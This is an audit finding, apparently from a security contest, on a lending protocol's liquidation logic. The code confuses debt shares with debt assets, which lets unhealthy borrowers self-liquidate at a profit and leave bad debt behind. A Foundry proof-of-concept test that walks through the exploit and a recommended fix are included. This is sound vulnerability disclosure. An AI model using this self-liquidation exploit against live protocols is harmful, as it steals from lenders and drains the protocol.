Innocent Chartreuse Parrot

High

# Debt shares are mistaken for debt assets during liquidations

## Summary
Debt shares are mistaken for debt assets during liquidations. This allows a violator to potentially self liquidate for a profit and create bad debt for the protocol.

## Vulnerability Detail
During liquidations, the debt shares of the violator are mistakenly used to represent their debt balance. 

[LiquidationLogic::executeLiquidationCall](https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/LiquidationLogic.sol#L117-L122)
```solidity
    (vars.userDebt, vars.actualDebtToLiquidate) = _calculateDebt(
      // vars.debtReserveCache,
      params,
      vars.healthFactor,
      balances
    );
```

[LiquidationLogic::_calculateDebt](https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/LiquidationLogic.sol#L259-L272)
```solidity
  function _calculateDebt(
    DataTypes.ExecuteLiquidationCallParams memory params,
    uint256 healthFactor,
    mapping(address => mapping(bytes32 => DataTypes.PositionBalance)) storage balances
  ) internal view returns (uint256, uint256) {
    uint256 userDebt = balances[params.debtAsset][params.position].debtShares; // @audit: confuses debt shares for debt assets


    uint256 closeFactor = healthFactor > CLOSE_FACTOR_HF_THRESHOLD ? DEFAULT_LIQUIDATION_CLOSE_FACTOR : MAX_LIQUIDATION_CLOSE_FACTOR;


    uint256 maxLiquidatableDebt = userDebt.percentMul(closeFactor); // @audit: max is "debt shares" amount of assets if hf <= 95%


    uint256 actualDebtToLiquidate = params.debtToCover > maxLiquidatableDebt ? maxLiquidatableDebt : params.debtToCover;


    return (userDebt, actualDebtToLiquidate); // @audit: both values are same if hf <= 95% 
```

As we can see above, the `userDebt` is valued at `debt shares` amount of assets and when the unhealthy violator's health factor is <= `CLOSE_FACTOR_HF_THRESHOLD`, the `actualDebtToLiquidate` will be equal to the `userDebt`. When this occurs, the protocol will remove the debt reserve from the user's configuration:

[LiquidationLogic::executeLiquidationCall](https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/LiquidationLogic.sol#L150-L152)
```solidity
    if (vars.userDebt == vars.actualDebtToLiquidate) { // @audit: both values are equal to `debt shares` amount of debt assets
      userConfig.setBorrowing(debtReserve.id, false);
    }
```

Therefore, only `debt shares` amount of the violator's debt will be repaid, but the protocol will think that *all* the debt has been repaid. As a result, no interest will be repaid, debt shares equivalent to `debt_balance - debt_shares`  in assets will still exist and continue to accrue interest (this is bad debt), and if the violator performed a self liquidation then they will effectively pocket `debt_balance - interest - debt_shares` worth of the borrowed assets. Once this occurs the violator can freely withdraw their remaining collateral since the protocol believes that they no longer have debt. 

## Proof of Concept
Modify the following lines in `PoolLiquidationTests.t.sol` and run test with `forge test --mc PoolLiquidationTest --mt testSelfLiquidateExploit`:

```diff
diff --git a/./test/forge/core/pool/PoolLiquidationTests.t.sol b/./test/forge/core/pool/PoolLiquidationTests.t.sol
index e770be3..543981d 100644
--- a/./test/forge/core/pool/PoolLiquidationTests.t.sol
+++ b/./test/forge/core/pool/PoolLiquidationTests.t.sol
@@ -7,9 +7,12 @@ import {ReserveConfiguration} from './../../../../contracts/core/pool/configurat

 import {UserConfiguration} from './../../../../contracts/core/pool/configuration/UserConfiguration.sol';

+import {WadRayMath} from '../../../../contracts/core/pool/utils/WadRayMath.sol';
+
 contract PoolLiquidationTest is PoolSetup {
   using UserConfiguration for DataTypes.UserConfigurationMap;
   using ReserveConfiguration for DataTypes.ReserveConfigurationMap;
+  using WadRayMath for uint256;

   address alice = address(1);
   address bob = address(2);
@@ -80,6 +83,64 @@ contract PoolLiquidationTest is PoolSetup {

     assertEq(tokenB.balanceOf(alice), borrowAmountB);

-    oracleA.updateAnswer(5e3);
+    oracleA.updateAnswer(0.43e8);
+  }
+
+  function testSelfLiquidateExploit() external {
+    // beginning state: borrow index is > 1
+    address user = address(0x69420);
+    _mintAndApprove(user, tokenB, 2000e18, address(pool));
+    vm.startPrank(user);
+
+    pool.supplySimple(address(tokenB), user, 2000e18, 0);
+    pool.borrowSimple(address(tokenB), user, 800e18, 0);
+    vm.stopPrank();
+
+    vm.warp(block.timestamp + 10 days);
+    pool.forceUpdateReserve(address(tokenB));
+    assertGt(pool.getReserveNormalizedVariableDebt(address(tokenB)), 1e27);
+
+    // update oracle answers to avoid stale price error for tests
+    oracleB.updateAnswer(oracleB.latestAnswer());
+    oracleA.updateAnswer(oracleA.latestAnswer());
+
+    // create liquidation scenario. For simplicity we will ignore any accrued interest for the violator's debt position
+    _generateLiquidationCondition();
+    uint256 debtShares = pool.getBalanceRaw(address(tokenB), alice, 0).debtShares;
+
+    (,,,,,uint256 hf) = pool.getUserAccountData(alice, 0);
+    assertLt(hf, 0.95e18);
+
+    uint256 debtTokenBalanceBefore = tokenB.balanceOf(alice);
+
+    // violator self-liquidates and only repays `debt shares` amount of assets
+    vm.startPrank(alice);
+    tokenB.approve(address(pool), type(uint256).max);
+    pool.liquidateSimple(address(tokenA), address(tokenB), pos, debtShares);
+    vm.stopPrank();
+
+    uint256 debtTokenBalanceAfter = tokenB.balanceOf(alice);
+
+    (, uint256 totalDebtBaseNew,,,,) = pool.getUserAccountData(alice, 0);
+
+    uint256 debtRepaid = debtTokenBalanceBefore - debtTokenBalanceAfter;
+
+    // `debtShares` amount of debt repaid
+    assertEq(debtRepaid, debtShares);
+
+    // the entire debt has not been repaid
+    assertLt(debtRepaid, borrowAmountB);
+
+    // however the protocol thinks all debt has been repaid (reserve removed from user's config)
+    assertEq(totalDebtBaseNew, 0);
+
+    // violator's position still has debt shares (bad debt)
+    uint256 remainingDebtShares = pool.getBalanceRaw(address(tokenB), alice, 0).debtShares;
+    assertGt(remainingDebtShares, 0);
+
+    // profit is equal to bad debt created and can be calculated as `original_borrow_amount - debt_shares_amount` 
+    uint256 profit = remainingDebtShares.rayMul(pool.getReserveNormalizedVariableDebt(address(tokenB)));
+    assertEq((borrowAmountB - debtShares), (profit + 1)); // +1 to account for rounding
   }
 }
```

## Impact
Unhealthy borrowers who have a debt position that has a health factor <= 95% can self-liquidate to avoid paying any interest accrued on their debt and pocket the different of their original borrowed amount and their debt shares, thereby instantly creating bad debt for the protocol which will continue to earn interest. 

Notes regarding amounts:
- the amount of bad debt instantly created will be equal to `debt_balance_amount - debt_shares_amount` in assets, and their equivalence in debt shares.
- the amount of profit for the violator will be equal to `original_borrow_amount - debt_shares_amount` in assets. Therefore, a greater `borrowIndex` at the time of the borrow will yield a higher percentage of profit for the violator. 

Note that even if a violator is not able to self liquidate, any *full/max* liquidation for an unhealthy position with a health factor of `<= 95%` will result in no interest being repaid and bad debt being created, since only `debt shares` amount of assets can at most be repaid. 

## Code Snippet
https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/LiquidationLogic.sol#L259-L272

## Tool used

Manual Review

## Recommendation
Calculate the violator's up to date debt balance properly by multiplying the debt shares by the updated borrow index:

```solidity
uint256 userDebt = balances[params.debtAsset][params.position].debtShares.rayMul(borrowIndex)
```